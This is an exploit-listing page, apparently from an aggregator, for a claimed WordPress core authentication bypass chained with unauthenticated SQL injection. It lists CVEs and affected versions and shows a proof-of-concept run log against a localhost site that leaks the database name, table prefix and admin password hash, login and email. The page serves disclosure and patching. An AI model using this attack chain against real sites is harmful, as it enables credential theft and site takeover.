Exploit for Wp2Shell

## https://sploitus.com/exploit?id=E66A3F52-7D61-5AD4-A501-FC0110C114A7
# WordPress REST API Desync + SQL Injection

Proof-of-concept for an authentication bypass(via REST batch route confusion) + unauthenticated SQL injection in WordPress core,that is chainable to remote code execution. Below are the CVEs assigned to the vulnerabilities.

* CVE-2026-63030 (route confusion → Auth Bypass)
* CVE-2026-60137 (SQLi in `author__not_in`)

### POC
```c
$  python3 wp_exploit.py


 ====================================================
 ====== WP2Shell POC (Auth Bypass + SQLi) ===========
 == Affected versions 6.9.0 - 6.9.4, 7.0.0 - 7.0.1===
 ====================================================



[*] Using site URL : http://localhost/wp7

[+] Site is running wordpress
[*] Checking if the site is vulnerable

[+] Site is vulnerable - Method1 .
[*] Leaking DB name: wp7~
[+] Found Database : wp7

[*] Leaking table prefix: wp7_~
[+] Found Table Prefix: wp7_

[*] Leaking admin user_pass: $wp$2y$10$eBluUvqnkIWNkTGUzdcZze8nlVA3PshyzIwQGDVx.57Wn3h86/Z12
[+] Found Admin user_pass: $wp$2y$10$eBluUvqnkIWNkTGUzdcZze8nlVA3PshyzIwQGDVx.57Wn3h86/Z12

[*] Leaking admin user_login: admin~
[+] Found Admin user_login: admin

[*] Leaking admin user_email: admin@zero.cloud.
[+] Found Admin user_email: admin@zero.cloud

```

### Affected Versions
WordPress 6.9.0–6.9.4 and 7.0.0–7.0.1. Fixed in 6.9.5 and 7.0.2.


### Credit
Adam Kues — Assetnote / Searchlight Cyber


### Reference
* https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/